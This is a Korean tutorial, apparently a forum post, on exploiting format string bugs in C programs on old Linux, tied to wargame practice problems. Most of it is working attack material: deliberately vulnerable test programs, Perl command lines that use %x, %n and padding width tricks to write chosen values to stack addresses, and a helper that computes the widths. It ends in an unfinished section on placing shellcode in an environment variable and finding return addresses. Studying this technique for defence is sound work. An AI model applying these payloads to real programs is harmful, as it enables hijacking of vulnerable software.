글수 75
*** FORMAT STRING의 모든것 *** Willy in Null@Root
_______________________________________________________________________________
Format String Bug에 대하여 최근 여러 곳에서 문서가 발표되고 있으나 실제로 적용
할려고 하면 많은 어려움이 있다. 여기서는 비전문가 입장에서 이해한 기본적인
format string bug의 개념과 적용방법에 대하여 상세한 예제를 통하여 최대한 쉽게
이해할 수 있도록 설명하도록 노력했다. 또한 Mainsource newbie16과 bonus2문제를
차이점에 대한 설명과 bonus2 문제에서 사용한 input type이 argument 방식인 경우에
특징들을 자세히 설명하였다.
혹시 내용중 문의사항이 있으면 Willy(jeazon@hanmail.net)에게 Mail 바람.
예제에 대한 결과는 RadHat6.2계열인 Adelinux6.2에서 수행된 결과임.
-------------------------------------------------------------------------------
1. Format string bug(FSB)이란?
Format string(FS) 이란 일반적으로 Data를 일정한 형태로 받아들이거나 출력하기 위하
여 사용하는 기호 정도로 이해하면 될것 같다. 예를 들면 %d, %f, %c, %s, %x, %p....
이 FS는 printf(),sprintf(),vprintf()등에 쓸때 printf("%d",i)처럼 변수와 같이 쓰이
면 변수값을 일정한 형태로 출력하는 기능을 하지만 printf("%x")처럼 변수없이 쓰게
되면 메모리의 값들을 순서대로 출력하게되므로 메모리 구조를 파악할수 있으며, %n과
%hn의 covert Formar String를 이용하여 특정 메모리위치에 특정값을 변경할수 있는 Bug
이다. 그러므로 Bug를 막기 위해서는 program상에서 사용자가 Format String를 변경할
수 있는 구조로 쓰지 말아야 한다.
2. Format string %n의 기능은?
Format String %n은 Format String Bub의 핵심이된다 왜냐면 이 %n게 있어야 특정주소에
특정값을 넣을수 있기때문인다.이해를 돕기 위하여 간단한 예제(Test1.c)를 만들어 보자.
// test1.c by willy in Null@Root
main()
{
int i=1234;
printf("Before i=%d
",i);
printf("I'm Willy%n
",&i);
printf("After i=%d
",i);
}
[wdc@Null2Root fsb]$ gcc test1.c -o test1
[wdc@Null2Root fsb]$ ./test1
Before i=1234
I'm Willy
After i=9
[wdc@Null2Root fsb]$
실행결과 i값이 바뀐것을 볼수 있다. 바뀐후에 i=9 값은 "I'm Willy"의 글자수 (공백
포함)임을 알수 있다. 그럼 %n은 어떻게 작용하는가? 위의 test1.c 예제에서 %n대신에
%x를 넣고 다시 실행해 보자.
[wdc@Null2Root fsb]$ cc test1.c -o test1
[wdc@Null2Root fsb]$ ./test1
Before i=1234
I'm Willybffff9c4
After i=1234
[wdc@Null2Root fsb]$
%n을 %x로 했으때 출력된 0xbffff9c4는 변수 i의 주소이고 그 주소에 값으로 %n앞쪽에
글자 만큼의 수를 넣은 것이다. 바꿔말하면 %x를 넣었을때 주소가 출력된다면 %x대신
%n을 넣으면 출력되었던 주소의 값으로 출력된 문자의 수가 들어간다는 것이다.
(이것이 전체 Format string bug을 이해하는데 가장 중요함.)
3. %n을 이용하여 원하는 값을 넣기
위에서 %n을 이용하여 어떤 주소에 값을 넣는 방법을 알았다. 이제 내가 원하는 값을
어떤 주소에 넣는 방법을 이해해 보자. 가장 쉽게 생각해볼수 있는 방법은 아래 예제와
같이 %n 앞에 문자를 내가 원하는 만큼 넣는 방법이 있다.
// test2.c by willy in Null@Root
main(int argc, char *argv[])
{
int i=1234;
printf("Before i=%d
",i);
printf("%s%n
",argv[1],&i);
printf("After i=%d
",i);
}
[wdc@Null2Root fsb]$ cc test2.c -o test2
[wdc@Null2Root fsb]$ ./test2 AAAAAAAAAA
Before i=1234
AAAAAAAAAA
After i=10
[wdc@Null2Root fsb]$ ./test2 AAAAAAAAAABBBBBBBBBB
Before i=1234
AAAAAAAAAABBBBBBBBBB
After i=20
[wdc@Null2Root fsb]$ ./test2 AAAAAAAAAABBBBBBBBBBCCCCCCCCCC
Before i=1234
AAAAAAAAAABBBBBBBBBBCCCCCCCCCC
After i=30
[wdc@Null2Root fsb]$
그런데 이렇게 해서 원하는 값(주소값)을 얻으려면 많은 노가다가 필요한데 간단한
방법이 없을까? 결론부터 말한다면 물론 있다. 힌트는 공백(스페이스)도 문자로 인식
하여 갯수를 Count한다는 것이다. %s에 자리수를 지정하는 것이다. 즉 %nrS 이렇게 해
주면 nr개의 자리를 공백으로 잡기깨문에 nr만 조정하여 쉽게 원하는 값을 만들어 낼
수 있다. 위의 test2.c의 printf("%s%n
",argv[1],&i)에서 %s대신에 %1000s으로 바꾼
뒤에 바꾼뒤 실행해 보자.
[wdc@Null2Root fsb]$ ./test2 AAAAAAAAAA
Before i=1234
{990개의 공간후에}AAAAAAAAAA
After i=1000
[wdc@Null2Root fsb]$
위의 결과 argv개수와 관계없이 i=1000으로 나오는 것을 볼수 있다. (실 입력값이 1000
개이상이 될때까지 계속 i=1000을 유지할 것임) 즉 자리수만의 조절으로 값을 변경할
수 있는 것을 알수 있었다. 그러나 우리가 넣기 원하는 값은 주소(예 0xbffff770)값
으로 큰값이므로 한번에 넣을수는 없다. 나누어 넣는 방법을 생각해 보자.
주소는 4바이트로 구성되어 있으며 앞에서부터 작은 값이 쓰여기게 된다. 이 4바이트를
1 또는 2 바이트 단위로 쪼개서 Data를 넣으면 작은 자리수를 넣어서 우리가 원하는 값
을 넣을수 있다. 예를 들어서 ret addr가 0xbffff920이고 넣어야 값이 0xbffff770이라
하면, 실제로 값들은 0xbffff920, 0xbffff921, 0xbffff922, 0xbffff923 4바이트에 채워
지게 되고 들어가는 값은 70, f7, ff, bf이 된다. 그러므로 기본 addr에 1바이트씩
증가시키며 data를 %n write하면 순차적을 overwrite가 되면서 처음 1바이트 data만
남게된다.
아래 test3 예제를 보면 쉽게 이해할수 있다.
// test3.c by willy in Null@Root
main()
{
long p, i=1234;
printf("Before i=%d
",i);
p = &i;
printf("I'm Willy%n%n%n%n
",p,p+1,p+2,p+3);
printf("After i=%x
",i);
}
[wdc@Null2Root fsb]$ ./test3
Before i=1234
I'm Willy
After i=9090909
[wdc@Null2Root fsb]$
위의 test3 실행결과 을 도식으로 표현해 보면 다음과 같다.
Address A A+1 A+2 A+3 A+4 A+5 A+6
Write to A: 0x09 0x00 0x00 0x00
Write to A+1: 0x09 0x00 0x00 0x00
Write to A+2: 0x09 0x00 0x00 0x00
Write to A+3: 0x09 0x00 0x00 0x00
Memory: 0x09 0x09 0x09 0x09 0x00 0x00 0x00
즉 A주소는 A+1에 의해서, A+1은 A+2에 의해서,.... overwirte가 되어서 최종적으로
i의 값은 0x09090909가 됨을 알수 있다. 결론적으로 1byte씩 나누어서 data를 쓰게되면
쓰는 값에 처음 1바이트값(0xbffff770이라고하면 0x70)만이 의미가 있다는 뜻이다.
자 이제 test3를 조금 수정해서 우리가 원하는 값(0xbffff770)을 넣는 프로그램을 한번
만들어 보자. 방법은 추가할 부분은 %n앞에 숫자를 조절해줄 format string을 더 삽입
하고 자리수를 조절하여 우리가 원하는 값을 만들면 된다. 아래 test4.c를 보자.
// test4.c by willy in Null@Root
main()
{
long p, i=1234, ch=1;
printf("Before i=%d
",i);
p = &i;
printf("%112d%n%135d%n%8d%n%192d%n
",ch,p,ch,p+1,ch,p+2,ch,p+3);
printf("After i=%x
",i);
}
[wdc@Null2Root fsb]$ ./test4
Before i=1234
{스페이스를 포함한 1을 4번 출력한뒤.....}
After i=bffff770
[wdc@Null2Root fsb]$
여기에서 자릿수로 쓴 112,135,8,192에 대하여 어떻게 계산하는지에 대하여 알아볼
필요가 있다. 첫번째 112는 0x70을 10진수로 바꾼 값이다. 그다음 135은 어떻게 나왔
을까? 그것은 두번째값 0xf7값을 써야되는대 앞에서 0x70을 이미 출력했으므로 추가분
인 0x87(0xf7 - 0x70)의 10진수 값이 135을 썼다. 세번째 값도 같은 방법으로 계산해
보면 8차이남을 알수 있다. 마직막 192같은 경우는 0xbf - 0xff를 하면 음수(-)가
나타나게 되므로 0xbf에 0x100을 더한뒤에 0xff를 뺀값이다. 이것을 도식으로 보면
Address A A+1 A+2 A+3 A+4 A+5 A+6
Write to A: 0x70 0x00 0x00 0x00
Write to A+1: 0xf7 0x00 0x00 0x00
Write to A+2: 0xff 0x00 0x00 0x00
Write to A+3: 0xbf 0x01 0x00 0x00
Memory: 0x70 0xf7 0xff 0xbf 0x01 0x00 0x00
이렇게 해서 우리는 A의 addr값으로 0xbffff770을 쓸수 있다. 자릿수를 계산하는 방법
을 정리해 보면 "쓰고 싶은 값을 10진수로 바꾸어 쓴다. 만약 전에 써진수가 있으면
빼고, 그값이 음수(-)가 되면 0x100을 더한다."
이렇게 해서 %n을 이용하여 우리가 원하는 값을 특정 주소에 쓰는 방법을 배웠다.
%n과 같은 기능을 하는 %hn이 있다. 이것은 차이는 단지 %n는 1 word (4바이트)에 쓰고
%hn은 half word (2바이트)에 쓰는 것이다.
4. Input 으로 format string을 쓸때 특성
지금까지 %n의 특성을 이해하였다. 이제부터는 실제 프로그램상에서 format string
이 input형태로 쓰일때 어떻특성이 있는지 예제들을 통하여 이해해 보도록하자.
먼저 간단한 예제(test5.c)를 만들어서 보자.
// test5.c by Willy in Null@Root
main(int argc, char *argv[])
{
char buf[100];
int a,b,c,d;
strcpy(buf,argv[1]);
printf(buf);
}
[wdc@Null2Root fsb]$ cc test5.c -o test5
[wdc@Null2Root fsb]$ ./test5 "%x %x %x %x %x %x"
400143e0 bfffffea bffff94f 20 25207825 78252078
[wdc@Null2Root fsb]$
서두에서 말한것처럼 %x을 연속해서 입력해서 출력결과를 보면 메모리영역의 data들이
순서대로 출력되는 것을 볼수 있다. 이번에는 맨 앞에 AAAA를 쓴뒤 그 뒤에 %x를 써보
면 재미있는 결과를 볼수 있다.
[wdc@Null2Root fsb]$ ./test5 "AAAA %x %x %x %x %x %x"
AAAA 400143e0 bfffffea bffff93f 20 41414141 20782520
[wdc@Null2Root fsb]$
출력된 결과를 살펴보면 AAAA 뒤에 4개의 data가 출력되고 A의 16진수값인 0x41이 연속
해서 4개 출력된 것을 볼수 있다.. 자 그럼면 아래와 같이 AAAABBBBCCCCDDDD를 쓴뒤
%x 몇개를 쓰고 실행해 보자.
[wdc@Null2Root fsb]$ ./test5 "AAAABBBBCCCCDDDD %x %x %x %x %x %x %x %x"
AAAABBBBCCCCDDDD 400143e0 bfffffea bffff92f 20 41414141 42424242 43434343 444444
[wdc@Null2Root fsb]$
역시 4개의 data가 출력되고 그 뒤에 41414141 42424242 43434343 44444444 가 출력된
다. 이것은 AAAA BBBB CCCC DDDD의 16진수 값들이다. 즉 우리가 쓴 AAAABBB...data들이
쓰여지는 것을 %x를 통하여 볼수 있다는 것이다. 그럼 AAAA... 대신에 주소값을 쓰면
어떻게 될까? perl을 써서 주소를 써보자 (perl을 쓴이유는 주소를 code로 넣기 위해)
"0xbffff920"이라는 주소를 처음에 쓰고 그다음에 %x %x 을 넣어보자.
[wdc@Null2Root fsb]$ perl -e 'system "./test5","x20xf9xffxbf %x %x %x %x %x"'
??400143e0 bfffffe4 bffff93f 20 bffff920
[wdc@Null2Root fsb]$
예상했던대로 4개의 data를 출력한뒤 5번째 %x에 의해 0xbffff920주소가 출력됐다.
이제 %n과의 연계성을 생각해 보자. 5번재 %x대신에 %n을 쓰면 어떻게 될까? 그렇다.
앞에서 배운것과 같이 0xbffff920에 35(왜냐하면 공백을 포함해서 출력된 수가 35임)가
쓰여질 것이다...
5. %n 이용하여 특정위치에 원하는 값 넣기
이제까지 %n의 기능과 format string이 program의 input data로 쓰였을때 특성을 알아
보았다. 이제부터는 %n을 이용하여 특정위치에 임의의 값을 넣어 보자. 먼저 위의
예제 test5에 그 주소 값의 변화를 확인하기 위해서 dumpcode를 프로그램에 넣어 보자.
(참고로 dumpcode.h는 www.plus.or.kr에서 구할수 있다)
// test6.c by Willy in Null@Root
#include "dumpcode.h"
main(int argc, char *argv[])
{
char buf[100];
int a,b,c,d;
strcpy(buf,argv[1]);
printf(buf);
dumpcode((char*)0xbffff920,4);
}
[wdc@Null2Root fsb]$ cc test6.c -o test6
[woot fsb]$ perl -e 'system "./test6","x20xf9xffxbf %x %x %x %x %x
"'
??400143e0 bfffffe4 bffff93f 20 bffff920
0xbffff920 48 f9 ff bf H...
[wdc@Null2Root fsb]$
다섯번째 %x를 넣었을때 0xbffff920의 값은 0xbffff948이다. 그럼 %x 대신에 %n을
넣고 실행해보자.
[wl2Root fsb]$ perl -e 'system "./test6","x20xf9xffxbf %x %x %x %x %n
"'
??400143e0 bfffffe4 bffff93f 20
0xbffff920 23 00 00 00 #...
[wdc@Null2Root fsb]$
0xbffff920의 값이 0x00000023(십진수 35)로 변경되었다..
이제 0xbffff920의 주소에 임의의 값 0xbffff770을 넣는 것을 해보자. 이것을 하기에
두가지 애기를 먼저 하고 넘어 가야한다. 하나는 주소를 4개로 나누기 위해 해야할
일과 다른 하나는 자리수 계산 방법이다.
주소를 4개로 나누고 각각에 값을 조절하기 위해서는 각각 %c와 같은 format string을
뒤야 한다... 즉 %c%n%c%n%c%n%c%n 식으로 배열하여야 하며 그렇게 하기 위해서는
주소를 써주는 앞부분에 %c가 만나는 부분에 자리를 마련하 줘야 한다.
즉 AAAA+주소1+BBBB+주소2+CCCC+주소3+DDDD+주소4 %x %x %x %x %c%n%c%n%c%n%c%n
처음 AAAA는 첫번째 %c와 매치되고, 주소1은 첫번째 %n과 매치, BBBB는 두번째 %c와
만나도록 조정하는 일이 필요하다. 다시 test6 예제를 보자. %n 대신에 %x를 넣고 실행을
해보면 아래와 같이 주소1(0xbffff920), 주소2(0xbffff921), 주소3(0xbffff922), 주소4
(0xbffff923)이 %x에 의해 출력된 결과를 볼수 있다.
[wdc@Null2Root fsb]$ perl -e 'system "./test6","AAAAx20xf9xffxbfBBBBx21xf9
xffxbfCCCCx22xf9xffxbfDDDDx23xf9xffxbf %x %x %x %x %c %x %c %x %c %x
%c %x
"'
AAAA ?풟BBB!?풠CCC"?풡DDD#??400143e0 bfffffe4 bffff90f 20 A bffff920 B
bffff921 C bffff922 D bffff923
0xbffff920 02 00 00 00
[wdc@Null2Root fsb]$
%x로 정확히 주소들이 출력되는 것을 확인한뒤 %x 대신에 %n을 써 넣은뒤 실행을 해 보자.
[wdc@Null2Root fsb]$
[wdc@Null2Root fsb]$ perl -e 'system "./test6","AAAAx20xf9xffxbfBBBBx21xf9
xffxbfCCCCx22xf9xffxbfDDDDx23xf9xffxbf %x %x %x %x %c %n %c %n %c %n
%c %n
"'
AAAA ?풟BBB!?풠CCC"?풡DDD#??400143e0 bfffffe4 bffff90f 20 A B C D
0xbffff920 41 44 47 4a ADGJ
[wdc@Null2Root fsb]$
값이 바뀐것을 확인할수 있다.. 여기서 0x41은 %n 앞부분 출력된 문자수 (AAAA.......20)
이고 그다음 부터는 3씩 증가("A ","B ","C "에 의해)된 것을 볼수 있다.
이제 주소를 4개로(1바이트씩) 나누어 쓰는것에 대해서는 이해를 했다. 그다음 문제는 초기
에 쓰여지는 값(0x41)을 계산할수 있는가? 현재 방법으로는 어렵다... 단지 출력된 결과를
세어서 그값을 알수 있는 방법밖에는 없다. 왜냐면 %x에 의해서 출력된 값의 자리수가
일정하지 않기 때문이다. 위 결과를 보면 %x에 의해 출력된 값은 "400143e0 bfffffe4
bffff90f 20" 이다. 여기에서 처음 3값은 8자리, 그리고 끝값(20)은 2자리이다. 이것들은
메모리에 들어가 있는 값을 그냥 출력하기때문에 몇자리 값이 나올지 예상을 할수 없다.
그렇다면 방법이 없는 것일까? 물론 있다. 그것은 자리수를 최대수로 고정시키는 방법이다.
%x에 의해 출력되는 값의 최대자리수는 8자리이다. 그러므로 최대자리수로 고정키면 작은
값은 공백을 출력하게 되므로 갯수를 계산해 낼수 있다. 다음은 %8x로 공정시키고 %x들
사이의 공간을 없앤 후의 결과 이다.
[wdc@Null2Root fsb]$ perl -e 'system "./test6","AAAAx20xf9xffxbfBBBBx21xf9xff
xbfCCCCx22xf9xffxbfDDDDx23xf9xffxbf%8x%8x%8x%8x%c%n%c%n%c%n%c%n
"'
AAAA ?풟BBB!?풠CCC"?풡DDD#??00143e0bfffffe4bffff90f 20ABCD
0xbffff920 41 42 43 44 ABCD
[wdc@Null2Root fsb]$
초기값이 0x41이 나왔고 %c에 의해 한문자씩 증가되어 0x42,0x43,0x44가 나타났다.. 그럼
초기값을 계산해보자. 먼저 AAAA(4)+주소1(4)+BBBB(4)+주소2(4)+CCCC(4)+주소3+DDDD(4)+
주소4(4)+%x4개(4*8=32)+%c(1) = 32+32+1 = 65 = 0x41 위의 결과와 계산결과가 정확히 일치
하는 것을 볼수 있다.
자 그럼 이제부터 본격적으로 0xbffff920주소에 0xbffff770를 넣는 것을 해보자.. 위의
결과에 정확한 %c의 자리수만 써주면 모든 것은 끝난다. 이제부터 계산하는 방법을 보자.
알고있는 값은 먼저 넣어야 할 값은 0xbffff770이므로 메모리에는 "70 f7 ff bf" 이렇게
들어가게 되고 초기값은 0x41이다. 첫번째 %c의 자리수를 이용하여 0x70을 만들어야 하므
로 0x70-(0x41 - 1) = 0x30(48)을 써주면 된다.(여기서 1을 뺀 것은 초기값에 %c값 1이
포함) 두번째 %c의 자리수는 0xf7-0x70 = 0x87(135) 세번째 %c는 0xff - 0xf7 = 0x08(8).
네번째는 0xbf - 0xff = - 0x40로 음수(-)가 되므로 0x100을 더하여 0xc0(192)가 된다.
%c의 자리수 계산하는 프로그램을 간단히 작성하면..
// calc.c by Willy in Null@Root
main()
{
int x,a1,a2,a3,a4;
int init,c1,c2,c3,c4;
printf("Input %%x수, a1, a2, a3, a4
");
scanf("%d%x%x%x%x",&x,&a1,&a2,&a3,&a4);
init = 32 + x*8 + 1;
c1 = a1 - (init - 1); if(c1<0) c1 = c1 + 0x100;
c2 = a2 - a1; if(c2<0) c2 = c2 + 0x100;
c3 = a3 - a2; if(c3<0) c3 = c3 + 0x100;
c4 = a4 - a3; if(c4<0) c4 = c4 + 0x100;
printf(" init = %x (%d)
", init,init);
printf(" c1 = %x (%d)
", c1,c1);
printf(" c2 = %x (%d)
", c2,c2);
printf(" c3 = %x (%d)
", c3,c3);
printf(" c4 = %x (%d)
", c4,c4);
}
[wdc@Null2Root fsb]$ cc calc.c -o calc
[wdc@Null2Root fsb]$ ./calc
Input %x수, a1, a2, a3, a4
4 70 f7 ff bf <- 입력한 data
init = 41 (65)
c1 = 30 (48)
c2 = 87 (135)
c3 = 8 (8)
c4 = c0 (192)
[wdc@Null2Root fsb]$
자 이제 모든 준비 작없이 끝났다. 이제 %c의 자리수값을 넣고 test6.c을 수행해 보자.
[wdc@Null2Root fsb]$ perl -e 'system "./test6","AAAAx20xf9xffxbfBBBBx21xf9xff
xbfCCCCx22xf9xffxbfDDDDx23xf9xffxbf%8x%8x%8x%8x%48c%n%135c%n%8c%n%192c%n
"'
AAAA ?풟BBB!?풠CCC"?풡DDD#??00143e0bfffffe4bffff90f 20 {출력내용 일부중략}
0xbffff920 70 f7 ff bf p...
[wdc@Null2Root fsb]$
주소 0xbffff920에 우리가 원했던값 0xbffff770이 써진것을 확인할수 있다. 이것으로
format sting에 대한 기본 개념은 다 끝났다. 이제 우리는 원하는 주소에 원하는 값을 넣을
수 있는 능력을 가지게 되었다.
다음에는 argv input data가 바로 printf()에 쓰일때 (메인소스 bonus2문제와 같은)에 처리
방법과 Return address와 Shellcode위치찾기에 대하여 애기해 보도록 하겠다...
6. argv가 바로 printf()로 출력될때 (메인소스 보너스2문제와 같은)
이번에는 argv로 data를 받아들이고 이것을 바로 printf()에 쓰는 경우에 대하여 알아보도
록 하자.(일반적으로 현재 나와있는 locale format string bug같은 것이 여기에 포함)
argv가 바로 쓰인는 경우 위에서 설명했던 방법보다 3가지 정도 고려해야 하는 것이 있다.
1) argv와 sp(stack pointer)사이에 거리가 멀어서 %x를 많이 써야한다(보통 90 ~ 120)
2) argv와 sp사이가 항상 4의 배수가 아니므로 align을 써야 한다.
3) argv의 input되는 문자수에 따라 buf의 사이즈가 달라진다.
먼저 예제(test7.c)를 한번 보도록 하자.
// test7.c by Willy in Null@Root
#include "dumpcode.h"
main(int argc, char *argv[])
{
printf(argv[1]);
dumpcode((char*)0xbffff920,4);
}
[wdc@Null2Root fsb]$
[wdc@Null2Root fsb]$ cc test7.c -o test7
[wdc@Null2Root fsb]$ ./test7 "AAAA%x%x%x%x%x%x%x%x%x%x"
AAAAbffff9684003598b2bffff994bffff9a04001386828048350080483710
xbffff920 20 00 00 00 y...
[wdc@Null2Root fsb]$
10정도의 %x를 넣었을때 0x41414141이 나타나지 않으므로 나올때까지 입력을 시도해 보자.
[wdc@Null2Root fsb]$ ./test7 "AAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x"
AAAAbffff8c84003598b2bffff8f4bffff90040013868280483500804837180485e42bffff8f480482
c0804863c4000ae60bffff8ec40013e902bffffa0abffffa120bffffacfbffffaf1bffffaffbffffb12
bffffb1ebffffb35bffffb4ebffffb5fbffffb6dbffffba8bffffbb4bffffbc3bffffbd8bffffc13bf
fffc26bffffc36bffffc3fbffffc4ebffffc57bffffc6abffffc82bffffc95bffffca2bffffce8bfff
fcf9bffffd06bffffd18bffffd2cbffffd34bfffffea03804803442056610007400000008098048350
b1f4c1f4d1f4e1f410383fbfffbffffa0500000000383669002f2e0036747365744141003778254141
0xbffff920 6d fb ff bf m...
[wdc@Null2Root fsb]$
%x를 92개를 넣었을때 0x4141이 나타나기 시작했다. 그러나 잘 보면 0x41이 두개로 나누어
져 있는 것을 볼수 있다. 이것은 argv와 sp사이가 4bytes의 배수가 아니기 때문에 나타나는
것이다. 이것을 맞추기 위해서는 align이 필요하다.(0 ~ 3개) 위의 argv의 끝에 AA를 추가
해보자.
[wdc@Null2Root fsb]$ ./test7 "AAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%xAA"
AAAAbffff8c84003598b2bffff8f4bffff90040013868280483500804837180485e42bffff8f480482
c0804863c4000ae60bffff8ec40013e902bffffa08bffffa100bffffacfbffffaf1bffffaffbffffb1
2bffffb1ebffffb35bffffb4ebffffb5fbffffb6dbffffba8bffffbb4bffffbc3bffffbd8bffffc13b
ffffc26bffffc36bffffc3fbffffc4ebffffc57bffffc6abffffc82bffffc95bffffca2bffffce8bff
ffcf9bffffd06bffffd18bffffd2cbffffd34bfffffea0380480344205661000740000000809804835
0b1f4c1f4d1f4e1f410383fbfffbffffa0300000006900000036383665742f2e377473414141417825
7825AA
0xbffff920 6d fb ff bf m...
[wdc@Null2Root fsb]$
자 이제는 0x41이 4개가 나란히 배열된것을 확인할수있다. 그런데 가만히 보면 0x41414141
뒤에 8개의 data가 늘어난 것을 볼수 있다. 이것은 AA를 추가함으로서 argv의 size가 늘어
났기 때문이다. 그럼 argv의 글자수에 따라서 size가 바뀌고 따라서 주소의 정확한 위치도
바뀌게 되니까. 한가지를 고정시켜야만 수렴시킬수 있겠죠. 그방법은 최종적으로 쓸형식을
모두 가춘 최종 형태가 되어야 한다. 즉
ABCD+주소1+ABCD+주소2+ABCD+주소3+ABCD+주소4+ %8x...... %001c+%n+.....%001c+%n
여기서 ABCD로 쓴것은 나중에 %c로 출력된 결과로 위치를 볼수있으므로(출력결과가 A A A
A 로 나와야 자리가 맞은것임), 뒤에 %001c이렇게 쓴 이유는 %숫자c에 올수있는 최대값이
0x1ff = 511일수 있으므로 미리 자리를 확보하기 위해서이면 만약 나중에 작은 값(예 50)을
써야 되면 %050c 이런식으로 앞에 "0"을 붙이면 된다. 이렇게 최종 형식을 만든뒤 %n대신
에 %x를 넣고 %8x와 align을 이용하여 정확한 주소자리를 맞추면 된다.
이제 예제를 가지고 임의의 주소 0xbffff920의 정확한 위치를 찾아 보자. 역시 주소를
넣어주기 위해서 perl을 쓰자.
[wdc@Null2Root fsb]$ perl -e 'system "./test7","ABCDx20xf9xffxbfABCDx21xf9xff
xbfABCDx22xf9xffxbfABCDx23xf9xffxbf%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x
%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x
%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x
%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%001c%x%001c%x
%001c%x%001c%x"'
ABCD ?풞BCD!?풞BCD"?풞BCD#?풺ffff8284003598b 2bffff854bffff86040013868
2 8048350 0 8048371 80485e4 2bffff854 80482c0 804863c4000ae60bffff84c40
013e90 2bffff970bffff978 0bffffac9bffffaebbffffaf9bffffb0cbffffb18bffff
b2fbffffb48bffffb59bffffb67bffffba2bffffbaebffffbbdbffffbd2bffffc0dbffffc20bffffc30
bffffc39bffffc48bffffc51bffffc64bffffc7cbffffc8fbffffc9cbffffce2bffffcf3bffffd00bff
ffd12bffffd26bffffd2ebfffffe4 0 3 8048034 4 20 5
6 6 1000 740000000 8 0 9 8048350 b 1f4
c 1f4 d 1f4 e 1f4 10 383fbff fbffff96b 0
0 0 0 0 0 0 0 069000000 36383665742f2e
377473Abffff920Abffff921Abffff922Abffff923
0xbffff920 f4 01 00 00 ....
[wdc@Null2Root fsb]$
출력된 마지막 부분의 내용을 보고 정확히 맞았는지 확인할수 있다.
"Abffff920Abffff921Abffff922Abffff923" %c에 의해 A가 4번 출력되고 %x의해 주소들이
정확히 나타남을 알수 있다. 이제 자리른 정확히 맞았다.. 이제 할일은 치환만 하면된다.
즉 %x를 %n으로 바꾸고 각 %c의 자리수를 계산하여 치환하여 넣으면 된다. 이때 절대로
문자의 증감이 있어선 안된다.(문자의 증감이 있으면 자리가 바뀌니)
이제 0xbffff770으로 바꾸기 위해 %c의 자리수를 계산해 보자. 먼저 초기값 구하는 공식은
init = 32(AAAA들과 주소들) + %x수*8 + align수 + 1 (%c 초기값) = 32+92*8+0+1 = 0x301
세번째자리이상은 필요없으므로 0x301 - 0x300 = 0x01이다.
c1 = 0x70 - (0x01 - 1 ) = 0x70, c2 = 0xf7 - 0x70 = 0x87... 이렇게 해서 c1 = 0x70(112)
, c2 = 0x87(135), c3 = 8(8), c4 = c0 (192) 이므로 치환해서 실행하면 된다.
(만약 align을 사용한 경우에는 초기값 계산시 포함하여야 한다.)
[wdc@Null2Root fsb]$ perl -e 'system "./test7","ABCDx20xf9xffxbfABCDx21xf9xff
xbfABCDx22xf9xffxbfABCDx23xf9xffxbf%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x
%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x
%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x
%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%8x%112c%n%135c%n
%008c%n%192c%n"'
ABCD ?풞BCD!?풞BCD"?풞BCD#?풺ffff8284003598b 2bffff854bffff86040013868
2 8048350 0 8048371 80485e4 2bffff854 80482c0 804863c4000ae60bffff84c4
0013e90 2bffff970bffff978 0bffffac9bffffaebbffffaf9bffffb0cbffffb18bfff
fb2fbffffb48bffffb59bffffb67bffffba2bffffbaebffffbbdbffffbd2bffffc0dbffffc20bffffc3
0bffffc39bffffc48bffffc51bffffc64bffffc7cbffffc8fbffffc9cbffffce2bffffcf3bffffd00bf
fffd12bffffd26bffffd2ebfffffe4 0 3 8048034 4 20 5
6 6 1000 740000000 8 0 9 8048350 b 1f4
c 1f4 d 1f4 e 1f4 10 383fbff fbffff96b 0
0 0 0 0 0 0 0 069000000 36383665742f2e
377473
A
A A
A0xbffff920 70 f7 ff bf p...
[wdc@Null2Root fsb]$
"0xbffff920 70 f7 ff bf" 정확한 값이 나왔다... 이제 argv로 data를 받아서 바로 printf
로 넣는 경우에도 우리는 원하는 주소에 원하는 값을 넣을수 있다. 이것을 format string
bug에 대한 기본개념에 대해서는 거의 이해가 된것 같다...
7. Return Address & Egg shell Address찾기
이부분에 대해서는 자세히 쓸수가 없다. 왜냐면 넘 어렵기 때문에 잘 모른다. 단지 루비 16
과 메인소스 보너스2문제 정도의 범위내에서 간단히 찾아 내는 방법만 설명하겠다.
shellcode는 찾기 쉽게 환경변수(eggshell)로 저장한뒤 dumpcode를 이용하여 stack pointer
보다 약간 앞부분(윗주소)을 찾는다. eggshell을 만들때는 size를 크게하고(1024정도) 앞
부분을 0x90으로 채워 green zone을 넓혀 놓으면 이용하기 편하다...
ret address를 찾는 방법은 일단 소스를 컴파일해서 실행을 해본다. 이때 전체 data를 정확
넣어서... perl -e 'system "./test7", "ABCD주소1.....%n"' 이때는 적당히 아무주소나 넣고
(ret addr를 모르니) 정확히 맞았으면 .. 그때 aggv값을 화일에 저장한다. 이때 주의할 점은
주소는 code로 들어가야 한다는 것이다.(깨진 문자형태) file에 저장한다. 여기서 file이
정확한 크기여야 되는 이유는 argv 크기에 따라 size가 바뀌고 그에 따라 return address도
